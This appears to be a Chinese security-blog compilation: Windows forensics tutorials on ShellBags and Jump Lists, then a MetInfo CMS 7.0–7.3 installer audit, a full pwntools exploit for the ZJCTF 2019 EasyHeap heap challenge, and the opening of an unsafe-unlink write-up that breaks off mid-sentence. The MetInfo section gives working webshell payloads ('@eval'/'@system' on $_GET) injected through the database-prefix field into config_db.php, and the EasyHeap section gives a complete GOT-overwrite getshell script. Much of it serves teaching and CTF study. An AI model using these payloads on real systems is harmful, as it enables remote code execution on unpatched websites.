Windows 取证之ShellBags
Windows 取证之ShellBags 相关实验:https://www.yijinglab.com/expc.do?ec=ECID6a2f-ed6f-4f85-9363-731535a5c3c4
(了解常用的内存镜像取证工具的使用,包括Dumplt、FTK Imager、Belkasoft RAM Capture和Dump镜像内存提取工具。)
0x0、概述
ShellBags是一组用来记录文件夹(包括挂载网络驱动器文件夹和挂载设备的文件夹)的名称、大小、图标、视图、位置的注册表项,或称为BagMRU。每次对文件夹的操作,ShellBags的信息都会更新,而且包含时间戳信息。是Windows系统改善用户体验的功能之一。即使删除文件夹后,ShellBags仍然会保留文件夹的信息。因此可以用来揭示用户的活动。
0x1、ShellBags的用途和取证中的价值
微软从Windows 7开始引入ShellBags,虽然在Windows xp中也存在,但是其文件格式发生了很大的改变。并在后续的系统上一直使用。ShellBags用来保存用户浏览文件夹时的偏好信息,比如文件夹的排列方式,文件夹显示图标的大小等,比如将文件夹的显示方式从"大图标"模式改为"详细信息模式",ShellBags会立即创建或更新记录,当你打开、关闭或者右键单击、或者重命名文件夹时,也会创建或更新ShellBags记录。这意味着:
1、如果在Windows ShellBags记录了某个文件夹,那么表示它一定在某个时间出现过在该系统中,包括压缩文件在内的本地文件系统、网络位置和外接设备(如U盘、移动硬盘等)上的文件夹,即使它现在已经不存在了。
2、由于这些对文件夹的操作和查看首选项与该用户的注册表配置单元(registry hives)相关联。所以我们可以将特定用户和特定的文件夹相关联,甚至,还可以从ShellBags包含的MAC时间戳中获取文件夹的访问时间信息。
0x2、ShellBags的存储
在Windows XP中,存储在NTUSER.dat文件中,在系统注册表中的位置分别是:
- 记录网络路径文件夹访问的记录在:\Software\Microsoft\Windows\Shell
- 记录本地文件夹访问的记录在:\Software\Microsoft\Windows\ShellNoRoam
- 可移动存储器文件夹访问的记录在:\Software\Microsoft\Windows\StreamMRU
但是从Windows 7开始,已经发生了很大的变化,Windows 7新增了一个用户特定的注册表配置单元:USRCLASS.dat。这个配置单元支持新的用户访问控制(UAC)和强制访问控制完整性级别。它用于记录来自无权写入标准注册表配置单元的用户进程的配置信息。所以如果要获取完整的ShellBags信息,需要为每个用户解析NTUSER.dat 和 USRCLASS.dat这两个文件。这些文件可以在%userprofile%、%userprofile%\AppData\Local\Microsoft\Windows路径中找到。
具体的注册表位置为:
记录最近通过资源管理器访问的文件夹的信息:
USRCLASS.DAT:HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
USRCLASS.DAT:HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags
记录从桌面访问的文件夹信息:
NTUSER.DAT:HKCU\Software\Microsoft\Windows\Shell\BagMRU
NTUSER.DAT:HKCU\Software\Microsoft\Windows\Shell\Bags
还有其他一些注册表位置:(因为系统版本不同,可能有一些附加的注册表项目)
NTUSER.DAT:HKCU\Software\Microsoft\Windows\ShellNoRoam\BagMRU
NTUSER.DAT:HKCU\Software\Microsoft\Windows\ShellNoRoam\Bags
USRCLASS.DAT:HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\ShellNoRoam\BagMRU
USRCLASS.DAT:HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\ShellNoRoam\Bags
USRCLASS.DAT:HKCU\Software\Classes\Wow6432Node\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
USRCLASS.DAT:HKCU\Software\Classes\Wow6432Node\Local Settings\Software\Microsoft\Windows\Shell\Bags
可以发现ShellBags的数据主要存在两个注册表键值中,分别是BagMRU和Bags中。
BagMRU:用于记录文件夹名称和文件夹路径
Bags:记录文件夹的视图配置,比如窗口的大小,位置,排序方式等视图模式信息。
0x3、ShellBags的结构分析
当用户通过Windows资源管理器浏览文件系统的时,首次打开个文件夹时,系统会创建ShellBags条目。每个文件夹都有一个编号,编号从0开始记录。当打开子路径,会在相应的ShellBags条目右侧添加一个条目,并分配一个编号,编号每次递增1。
当用户对文件夹进行操作,ShellBag条目会立即更新。这意味着相应的注册表项最后修改时间可能也是最后操作文件夹的时间。
BagMRU键值:
ShellBags的根目录,它的子键包含了ShellBags子条目和子目录。由数字编号0,1,2...组成。
而他们的二进制类型的值项(value name)记录着文件夹的路径和文件夹的长短名称。因此,我们可以根据这个结构还原文件系统的目录结构。
我们可以通过Nirsoft的注册表修改监视工具和Shell bags view工具结合注册表查看其创建和变化过程。
首先在C盘下创建一个shellbagstest的文件夹
查看注册表修改:
在注册表中查看:
可以看到HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0键的值项"11"的内容记录了文件夹的名称,并与其子键"11"对应。
HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\11键的NodeSlot项值即为HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags键中的ID(Bags键的子健名称)。
还有一个MRUListEx,这个记录了上次访问了哪个文件夹。根据这个可以解析出文件夹的访问次序。当对应文件夹下没有子文件夹或者子文件夹未被访问过,其值为ff ff ff ff。
当我们进入这个文件夹并添加一个子文件夹后,再次查看注册表修改:
可以看到新增了多个键值项,MRUListEx也发生了变化。其中"1"为子文件夹"subdir"。而"0"是新建文件夹时候的"新建文件夹"。
关于MRUListEx值项
它是记录文件夹访问次序的,每4个字节记录一个文件夹的数字编号,新增访问记录,原记录往右边移。拿刚刚这个举例:
最左侧0x00000001表示最近访问过的是shellbagstest文件夹下数字序号为"1"的文件夹,也就是subdir这个文件夹。如果再增加一个文件夹subdir2:
MRUListEX的值则变成如下数值:
其父键的MRUListEX也会更新:
Bags键值:
Bags键值由数字命名的子健组成,每个子健的数字编号对应特定的文件夹。其下包含有一个Shell 的键用于存储与文件夹相关的视图配置信息,比如位置、大小、排序方式等。所以我们可以根据BagMRU键值获得特定文件夹在Bags键下对应的数字序号后, 即可Bags键中定位相应子键, 进而查看文件夹的视图配置信息。
比如刚刚我们创建的文件夹:
0x4、取证实战
案情:在之前的调查(Windows 取证之注册表)中,我们证明了Theon趁Podrick不在的时候把U盘(2020年2月3日下午12点15分-12点45分之间)插进了他的电脑。Podrick称他电脑的一些文件/文件夹发生的更改。他认为是Theon干的。Podrick希望我们帮忙找出是哪些文件发生了更改。主要关注桌面上被清空的Projects文件夹。
提交Projects文件夹被Theon重新创建的时间。
提供给我们的文件包括NTUSER.DAT 和 UsrClass.dat。
我们可以借助ShellBags解析工具,如Shell Bag Explorer:https://f001.backblazeb2.com/file/EricZimmermanTools/ShellBagsExplorer.zip
使用工具加载USRCLASS.DAT文件
找到Projects文件夹,可以看到文件夹的创建时间是12:41:26 ,这个时间点正好是Podrick不在电脑旁边的时间。结合之前的调查,即可确定这个时间就是文件夹重新创建的时间。
参考资料:
基于注册表中的ShellNo-Roam表键解析文件夹操作行为:http://www.xsjs-cifs.com/article/2014/1008-3650-39-3-42.html
Computer Forensic Artifacts: Windows 7 Shellbags : https://www.sans.org/blog/computer-forensic-artifacts-windows-7-shellbags/
Explaining the Bags/BagMRU registry tree (trying) - Tielen Consultancy :https://www.jeroentielen.nl/explaining-the-bagsbagmru-registry-tree-trying/
Windows 取证之Jump Lists
一、概述
Jump Lists是Windows 7开始引入的新功能,该功能允许用户查看固定在任务栏中程序最近打开的文件,如图所示:
Jump Lists由应用软件或者系统创建,作用是方便用户可以直接跳转到最近打开的文件或文件夹。Jump List显示的列表数量是有限的,在Windows 7/8操作系统中,用户可以通过更改注册表来修改Jump List的条数,但在Windows 10中,这个数量被固定了,用户无法自行修改。
二、Jump List 文件存储和格式
Jump List文件是一种OLE文件,存储在C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations和C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination路径下。
Jump List有两种类型,一种是存放在AutomaticDestinations路径中的automaticDestinations-ms (autoDest)文件,另一个是CustomDestination中的customdestination-ms(custDest)文件。
autoDest(*.automaticDestinations-ms)文件是由系统shell在用户与操作系统交互时(如启动应用程序、访问文件等)自动创建的,这些文件遵循Microsoft Compound File Binary(CFB)复合文件格式结构,并且文件中的每个编号流都遵循 MS-SHLLINK(即LNK)二进制文件格式。
custDest(*.customDestinations-ms)文件是在用户操作固定项目时创建的,比如拖到某个文件或应用程序固定到任务栏中,或在列表中固定某个项目。custDest文件只是一系列相互附加的lnk格式流组成。比autoDest文件更为简单。
每个列表文件名都是以一串长度为16位的字符串命令,后面跟上.automaticDestinations-ms或者.customDestinations-m为后缀。
这16位长度的十六进制字符串是APPID(应用程序标识符),用于标识特定的程序或文件。根据微软官方说明,APPID可以分为应用程序自定义(Application-Defined)和操作系统定义(System-Defined)两种。应用程序可自定义一个固定的APPID。如果没有,操作系统根据应用程序的路径使用CRC-64算法计算出APPID。
关于APPID的计算可以参考:https://www.hexacorn.com/blog/2013/04/30/jumplists-file-names-and-appid-calculator/
一些常见应用程序的Jump List ID可以在互联网上找到:
https://gist.github.com/atilaromero/2146441https://community.malforensics.com/t/list-of-jump-list-ids/158/1在autoDest文件中,除了Destlist流之外,其他流都是由LNK流组成。Destlist流遵循特定的结构,分别记录了作为MRU和MFUlist的文件访问顺序及文件访问次数,并且包含时间戳。在Windows 7和Windows 8中,Destlist流结构是一致的,但Windows 10中有所不同。
这里我们以Windows 7系统举例,通过16进制编辑器查看其结构组成,打开一个autoDest文件,其结构如下:
D0 CF 11 E0 A1 B1 1A E1:OLECF文件标识符
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00:类标识符 (GUID)
3E 00:文件版本(次版本)
03 00:文件版本(主版本)
FF FF:字节顺序标识符(FF FF为小端模式,FF FE为大端模式)
更多关于OLECF格式详情可以参考:https://github.com/libyal/libolecf/blob/main/documentation/OLE%20Compound%20File%20format.asciidoc#2-the-file-header
Destlist头结构:
01 00 00 00:版本号(在windows 7/8中是版本1,windows 10 1511中是版本3)
11 00 00 00:当前条目数
00 00 00 00:"固定"的条目数量
33 33 E3 41:计数器
11 00 00 00 00 00 00 00:上一次的条目数
11 00 00 00 00 00 00 00:添加/删除操作的数量-随着条目的添加和删除而增加。
custDest(*.customDestinations-ms)文件的结构就简单很多:
前面36 Bytes是文件头,然后是lnk文件部分,然后是下一条lnk文件部分,然后是文件结尾0xbabffbab:
三、Jump Lists 取证实战
来源:Cynet应急响应挑战赛
题目描述:GOT-Research Ltd的 财务部总监 Lord Varys 发现,有关高级员工工资的某些信息被泄露,并传到了该组织的其他员工手中。此财务信息保存在网络共享文件夹中。此网络文件夹的权限已授予给 Lord Petyr Baelish和其他 2 名前雇员:John Snow 和 Daenerys Targaryen。 John 和 Daenerys 现在都是 GOT 的外部顾问,不再是财务部门的一员。但他们对财务共享文件夹的权限尚未撤销,Petyr Baelish, John和 Daenerys这三个人平时关系并不好,Varys怀疑这是泄密的原因,他认为有人想要陷害Petyr B
现在GOT委托你作为调查人员查清John或Daenerys是否访问了财务数据,其中包括已泄露的 Management-Salaries.xlsx 文件。
最终需要提交嫌疑人的名字和在嫌疑人主机上找到的可疑财务文件文件名、以及时间戳。
我们拿到的调查文件是John和Daenerys电脑上的Jump Lists文件:
我们使用JumpListExplorer工具(下载地址:https://ericzimmerman.github.io/#!index.md)对文件进行解析和分析:
经过检查和分析,最终在John的电脑上发现了可疑痕迹,在2020-02-07 00:03:54用WinRAR打开了一个Finance-Summary.rar的文件。
分析Jump Lists类似的工具还有JLECmd.exe、Nirsoft JumpListsView等。
参考资料:
https://hal.inria.fr/hal-01988839/documenthttps://github.com/libyal/dtformats/blob/main/documentation/Jump%20lists%20format.asciidochttps://github.com/EricZimmerman/JumpList/blob/master/JumpList/Resources/AppIDs.txt https://cyberforensicator.com/wp-content/uploads/2017/01/1-s2.0-S1742287616300202-ma
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID9a4a-6bc7-4926-8ff5-6fa9c74fe756 (Autopsy Forensic Browser 是数字取证工具-The Sleuth Kit(TSK)的图形界面,用于对文件系统和卷进行取证。通过本实验学习文件系统取证的思想与方法,掌握Autopsy的使用。)
米拓建站系统1day审计与利用
Metinfocms命令执行
前话:
米拓企业建站系统是一款由长沙信息科技有限公司自主研发的免费开源企业级CMS,该系统拥有大量的用户使用,及对该款cms进行审计,如果利用CNVD-2021-01930进行进一步深入,其危害的严重性可想而知。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID269f-6dc2-4412-bbad-a27109b207cf (通过该实验掌握MetInfo SQL注入漏洞的原因和利用方法,以及如何修复该漏洞。)
审计过程:
1. Index:拿到源码先看根目录的index.php看看都包含(加载)了什么文件。
2. 关键词:在/app/system/entrance.php看到了配置文件的定义,全局搜索这个
’PATH_CONFIG‘参数。
全局搜索并找到install/index.php文件下有这个参数,点击跟进查看。
在这个文件的219行有个是接收db数据库参数的方法。
官方说明“$_M”数组:https://doc.metinfo.cn/dev/basics/basics75.html
这里是接收from数据的db_prefix参数。也就是“数据表前缀”内容的值。
往下发现是直接写入tableper然后赋值给config变量。
并在264行fopen打开/config/config_db.php进行没有安全过滤的字节流(fputs)方式的写入。
影响版本:7.3.0 - 7.0.0
一、进行7.3.0安装步骤,访问http://127.0.0.1/install/index.php
二、选中传统安装继续下一步
三、数据库信息进行写shell
代码执行Payload:"*/@eval($_GET['1']);/*
命令执行Payload:"*/@system($_GET['1']);/*
代码执行:
点击保存进行下一步验证,出现这报错信息,可以查看config\config_db.php文件。
成功写入
命令执行:
7.0.0版本:
7.1.0版本:
Payload:"*/@eval($_GET['1']);@system($_GET['2']);/*
7.2.0版本:
Payload:"*/@eval($_GET['1']);@system($_GET['2']);/*
GDB调试堆漏洞之house of spirit
何为house of spirit?
该技术出自于2005年的The Malloc Maleficarum这篇文章,是一种用于获得某块内存区域控制权的技术
例如一个位于fastbin的区块是不可控的,但是我们希望对其进行读写操作只需他刚好满足以下两个条件即可。
第一,改区域的前后内存可控(通俗来讲就是堆溢出)
第二,存在一个可控指针作为free()函数的参数(此处通俗讲就是控制chunk 的fd或者bk指针),通过堆排布,
伪造fake chunk让他进入到fastbins,下次我们用同样大小的内存申请一个chunk就可以把这个chunk取出
,从而得到控制权。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDf4f4-3f86-44b4-bd4c-e1c88520adde (在堆的情况下,当用户能够写入比预期更多的数据时,会发生内存损坏。通过本实验了解堆溢出,包括intra-chunk和inter-chunk两种类型,分别掌握其特点。)
今天我用一道例题来讲解如何从一个新手掌握GDB调试house of spirit的利用思想
题目:[ZJCTF 2019]EasyHeap
题目可在BUU上搜索得到
checksec如下
q@ubuntu:~/Desktop$ checksec easyheap
[*] '/home/q/Desktop/easyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
先看main函数里面一个点
v3==4869 然后magic>=0x1305就可以进入到后门
不过这个是假的后门远程没有这个路径
接着就是没用输出功能,可能会选择劫持stdout或者使用house of spirit
我们先继续分析
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
一个个函数看下去,发现漏洞点在edit那里
(create那的话 chunk大小没限制,可惜这里没有输出功能不然利用mmap的特性直接泄露libc也是可以的,如果还是想的话配合劫持stdout也可以,只不过过于麻烦)
漏洞如下这小部分代码,堆的大小创建后不可更改,但是他可以更改输入内容的大小,意味着这里存在堆溢出
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + v1), v2);
puts("Done !");
}
edit()
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + v1), v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
整合信息(前置知识fastbin attack+unsortedbin)
(简单的说就是如下这样)
其中①②③⑧⑨是fastbin attack需要做的,④⑤⑥⑦是unsortedbin attack需要做的:
①malloc fastchunk 0x70。
②free掉fastchunk。
③将fastchunk的fd变为target。
④malloc 0x100。
⑤free 0x100。
⑥change 0x100+0x8的位置改为target(就是bk的位置)。
⑦malloc 0x100,此时arena的地址被写入target中去了。
⑧malloc 0x70,将第一次malloc的堆块取出来,使fastbin中只有target。
⑨再次malloc 0x70 ==>就是取出target。
结论:
上面简单分析了下,我们有了堆溢出,有了system函数和free()函数,对于house of spirit 来说是完美条件
可以利用堆溢出进行构造fake chunk进而修改该chunk的fd或者bk指针,顺带写入/bin/sh
接下来利用house of spirit去更改free的got表指向system的plt,最后执行free就可以getshell
下面进行详细的分析
详细解答
那么我们可以从构造fake chunk控制堆的任意内容
(prev_size,fd,bk,堆的输入内容)
我们先来看下正常的chunk长什么样子
(部分脚本,脚本后面就是chunk)
from pwn import *
context.log_level = 'debug'
def pause_debug():
log.info(proc.pidof(p))
pause()
def create(size, content):
p.sendlineafter('choice :', str(1))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap:', content)
def edit(idx, size, content):
p.sendlineafter('choice :', str(2))
p.sendlineafter('Index :', str(idx))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap :', content)
def delete(idx):
p.sendlineafter('choice :', str(3))
p.sendlineafter('Index :', str(idx))
proc_name = './easyheap'
p = process(proc_name)
#p = remote('node3.buuoj.cn', 27185)
elf = ELF(proc_name)
create(0x68, b'woaini') # 0
create(0x68, b'a') # 1
create(0x68, b'a') # 2
gdb.attach(p)
chunk 我们先找到我们存放输入内容的地方,我们刚才创建的堆的大小都是0x70的
但是实际上我们没有那么多空间可以利用的,在0x2545070此处存放的是chunk的大小
下面的地方0x2545070 前面8个字节存放fd(前驱)指针,后面八个字节存放bk(后继)指针
(这里先说个思维,逆向思维!非常重要是做pwn题目的基础。 这里的堆的结构体是最基础的只有一项内容,要是多来几项呢?
比如 一本书的ID 名字 内容等等,他在gdb调试后所呈现的具体存放位置关系是怎么样的呢,我们要如何才能修改都是需要从ida里面逆向分析得到在利用gdb调试获取信息 这里推荐一道buu的题目关于
off by null的知识点的但是如果你成功的攻破后,逆向能力会有不小的提升
题目: asis2016_b00ks
pwndbg> search woaini
[heap] 0x2545010 0x696e69616f77 /* 'woaini' */
warning: Unable to access 16000 bytes of target memory at 0x7f810c08ed05, halting search.
pwndbg> x/32gx 0x2545010
0x2545010: 0x0000696e69616f77 0x0000000000000000
0x2545020: 0x0000000000000000 0x0000000000000000
0x2545030: 0x0000000000000000 0x0000000000000000
0x2545040: 0x0000000000000000 0x0000000000000000
0x2545050: 0x0000000000000000 0x0000000000000000
0x2545060: 0x0000000000000000 0x0000000000000000
0x2545070: 0x0000000000000000 0x0000000000000071
0x2545080: 0x0000000000000061 0x0000000000000000
上面我们讲了正常的堆块的模样,下面我们来对他进行修整,做成我们的fake chunk
为了让这个fake chunk被检测机制所认可,这里我们需要修改prev_size令他等于1
也就是找到存放0x7f的地址我们可以从IDA里面先看看然后配合GDB去寻找
IDA的chunk开始的地方在该程序里面叫heaparray
我们向上寻找,从尾地址为A0的地方开始到B0夹杂着libc
我们都明白libc的开头就是0X7f 那么我们可以不限麻烦的在gdb从0x6020A0开始往下面开
最后发现在本程序中0x6020AD的内容就是0x7f
(输入命令x/32gx 0x6020AD)
.bss:00000000006020A0 ; ===========================================================================
.bss:00000000006020A0
.bss:00000000006020A0 ; Segment type: Uninitialized
.bss:00000000006020A0 ; Segment permissions: Read/Write
.bss:00000000006020A0 _bss segment align_32 public 'BSS' use64
.bss:00000000006020A0 assume cs:_bss
.bss:00000000006020A0 ;org 6020A0h
.bss:00000000006020A0 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:00000000006020A0 public stdout@@GLIBC_2_2_5
.bss:00000000006020A0 ; FILE *stdout
.bss:00000000006020A0 stdout@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000400410↑o
.bss:00000000006020A0 ; main+17↑r
.bss:00000000006020A0 ; Alternative name is 'stdout'
.bss:00000000006020A0 ; Copy of shared data
.bss:00000000006020A8 align 10h
.bss:00000000006020B0 public stdin@@GLIBC_2_2_5
.bss:00000000006020B0 ; FILE *stdin
.bss:00000000006020B0 stdin@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000400428↑o
.bss:00000000006020B0 ; main+35↑r
.bss:00000000006020B0 ; Alternative name is 'stdin'
.bss:00000000006020B0 ; Copy of shared data
.bss:00000000006020B8 completed_7594 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:00000000006020B8 ; __do_global_dtors_aux+13↑w
.bss:00000000006020B9 align 20h
.bss:00000000006020C0 public magic
.bss:00000000006020C0 magic dq ? ; DATA XREF: main:loc_400D05↑r
.bss:00000000006020C8 align 20h
.bss:00000000006020E0 public heaparray
.bss:00000000006020E0 ; void *heaparray
.bss:00000000006020E0 heaparray dq ? ; DATA XREF: create_heap+30↑r
.bss:00000000006020E0 ; create_heap+8C↑w ...
(包含0x7f结尾的)
pwndbg> x/32gx 0x6020AD
0x6020ad: 0x07fea398e0000000 0x000000000000007f
0x6020bd: 0x0000000000000000 0x0000000000000000
下面上构造fake chunk 的脚本
delete(2)
edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))
gdb.attach(p)
create(0x68, b'b') # 2
create(0x68, b'b') # 3 fake_chunk
edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))
edit(0, 0x8, p64(elf.plt['system']))
delete(1)
p.interactive()
我们这里的fake chunk选的是chunk 1 释放chunk2是为了让他的fd指针指向chunk1
接着利用如下语句,写入内容的大小改为0x78(实际上大小为0x70),然后传入/bin/sh后填充\x00到达我们的chunk size保持大小不变依然是0x71,接着传入0x6020ad也就是上面提到的0x7f的地址为了让这个chunk1 fake chunk被程序检测所认可
edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))
下面我们来看看修改好的QWQ
为什么是0x68,gdb已经给我们很好的结果了。/bin/sh占位就是8个字节(0x0068732f6e69622f),我们从0x80到0xe0共计0x60加上0x80后面的0x88那部分空白合并起来就是0x68了 然后传入0x71和0x6020ad 我们的fake chunk就好了
pwndbg> search /bin/sh
[heap] 0x1be8080 0x68732f6e69622f /* '/bin/sh' */
libc-2.23.so 0x7f355118be57 0x68732f6e69622f /* '/bin/sh' */
warning: Unable to access 16000 bytes of target memory at 0x7f35511c6d06, halting search.
pwndbg> x/32gx 0x1be8080
0x1be8080: 0x0068732f6e69622f 0x0000000000000000
0x1be8090: 0x0000000000000000 0x0000000000000000
0x1be80a0: 0x0000000000000000 0x0000000000000000
0x1be80b0: 0x0000000000000000 0x0000000000000000
0x1be80c0: 0x0000000000000000 0x0000000000000000
0x1be80d0: 0x0000000000000000 0x0000000000000000
0x1be80e0: 0x0000000000000000 0x0000000000000071
0x1be80f0: 0x00000000006020ad 0x0000000000000000
fake chunk一号准备完成
下面我们改free的got表为system的plt表,(不理解什么是got和plt的可以去康康知乎上的文章,简单说就是plt寻址got,然后got寻址真正地址去执行函数,我们在这把free的got改成system的plt)之后咋们执行free操作就是相当于执行system操作了
为什么是0x23大小的junk数据传入?
create(0x68, b'b') # 2
create(0x68, b'b') # 3 fake_chunk
edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))
edit(0, 0x8, p64(elf.plt['system']))
delete(1)
p.interactive()
这里可以用GDB调试来看下(做pwn题离不开GDB的调试必须要有耐心)
pwndbg> search ccccccccc
easyheap 0x6020bd 0x6363636363636363 ('cccccccc')
easyheap 0x6020c6 0x6363636363636363 ('cccccccc')
easyheap 0x6020cf 0x6363636363636363 ('cccccccc')
warning: Unable to access 16000 bytes of target memory at 0x7f50d863ed08, halting search.
pwndbg> x/32gx 0x6020bd
0x6020bd: 0x6363636363636363 0x6363636363636363
0x6020cd: 0x6363636363636363 0x6363636363636363
0x6020dd: 0x0000602018636363 0x0001dd8080000000
0x6020ed <heaparray+13>: 0x0001dd80f0000000 0x00006020bd000000
0x6020fd <heaparray+29>: 0x0000000000000000 0x0000000000000000
0x60210d <heaparray+45>: 0x0000000000000000 0x0000000000000000
0x60211d <heaparray+61>: 0x0000000000000000 0x0000000000000000
0x60212d <heaparray+77>: 0x0000000000000000 0x0000000000000000
可以看见在0x6020dd上有我们传入的got表0x0000602018
我们再看看heaparray上的数据内容
pwndbg> x/32gx 0x6020ed-13
0x6020e0 <heaparray>: 0x0000000000602018 0x0000000001dd8080
0x6020f0 <heaparray+16>: 0x0000000001dd80f0 0x00000000006020bd
0x602100 <heaparray+32>: 0x0000000000000000 0x0000000000000000
0x602110 <heaparray+48>: 0x0000000000000000 0x0000000000000000
0x602120 <heaparray+64>: 0x0000000000000000 0x0000000000000000
0x00000000006020bd该地址指向我们的chunk3存放的内容
0x0000000001dd80f0该地址为指向我们的chunk3存放的内容的地址
其真实起始点地址是0x1dd80e0 如下
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1dd8000
Size: 0x71
Allocated chunk | PREV_INUSE
Addr: 0x1dd8070
Size: 0x71
Allocated chunk | PREV_INUSE #chunk3
Addr: 0x1dd80e0
Size: 0x71
Top chunk | PREV_INUSE
Addr: 0x1dd8150
Size: 0x20eb1
而heaparray
0x6020e0 <heaparray>: 0x0000000000602018 0x0000000001dd8080
指向我们的free()的got表
关于为什么选择edit(0, 0x8, p64(elf.plt['system']))这样传入并没有太多用意,p64(elf.plt['system'])刚好八个字节
这里篇幅有限,若有兴趣可以寻找资料学习
EXP:
from pwn import *
context.log_level = 'debug'
def pause_debug():
log.info(proc.pidof(p))
pause()
def create(size, content):
p.sendlineafter('choice :', str(1))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap:', content)
def edit(idx, size, content):
p.sendlineafter('choice :', str(2))
p.sendlineafter('Index :', str(idx))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap :', content)
def delete(idx):
p.sendlineafter('choice :', str(3))
p.sendlineafter('Index :', str(idx))
proc_name = './easyheap'
p = process(proc_name)
#p = remote('node3.buuoj.cn', 27185)
elf = ELF(proc_name)
create(0x68, b'woaini') # 0
create(0x68, b'a') # 1
create(0x68, b'a') # 2
#gdb.attach(p)
delete(2)
edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))
#gdb.attach(p)
create(0x68, b'b') # 2
create(0x68, b'b') # 3 fake_chunk
edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))
edit(0, 0x8, p64(elf.plt['system']))
delete(1)
p.interactive()
心得简述:
做PWN题非常考验耐心与基础,IDA的逆向分析是最为主要的一步,一定要静下来看伪代码和汇编
有了多种思路不要嫌麻烦一定要上机去用GDB一步步调试。会了各种套路技巧固然厉害,但是没有牢固
的逆向基础和调试能力是走不远的。
堆利用之unsafe unlink
漏洞简介
glibc库中存在着unsafe unlink漏洞。主要原理是利用释放块时存在的安全检查缺陷,通过修改堆块的元数据信息,从而在free时修改堆指针。利用这一漏洞可以完成一次任意写操作。
本文以libc-2.27.so为例,结合一道pwn题目来介绍利用过程。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDc271-da53-4bd3-9b61-d59c3b9d3407 (本节课主要讲解objdump命令的使用和c语言函数调用约定,学会利用栈溢出漏洞改写函数指针变量和覆盖返回地址。)
程序checksec检查
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
题目源码分析
int main(){
int choice = 0; prepare();
while(1) {
choose_action(&choice);
switch (choice) {
case 1:
squeeze();
break;
case 2:
wash();
break;
case 3:
display();
break;
case 4:
mix();
break;
case 5:
insepct();
break;
default:
puts("Nah... You just cannot do this :( ");
exit(0); } } return 0;}
主函数是菜单,choose_action只是简单读入整数以进行选择,此处不再赘述。
void squeeze(){ int i; struct palette* tmp; for(i = 0; i < COLOR_NUM; i++) { if (!your_palette[i]) { puts("Found some free space for you!"); break; } } if (i == COLOR_NUM) { puts("Your palette is full :("); exit(0); } tmp = mallo
squeeze函数用于申请新的块,并调用自定义make_component函数读入用户输入。其中your_palette及相关变量定义如下:
#define COLOR_NUM (4)#define COLOR_NAME (0x20)#define COLOR_COMPONENT (0x4d8) struct palette { char color[COLOR_NAME]; char ingredient[COLOR_COMPONENT];}*your_palette[COLOR_NUM]; long secret_button = 0;
make_component函数定义如下。该函数根据传入的长度,逐字节读入用户输入,检测到换行符或是达到最大长度后即把最后一个字符改为’\0’。
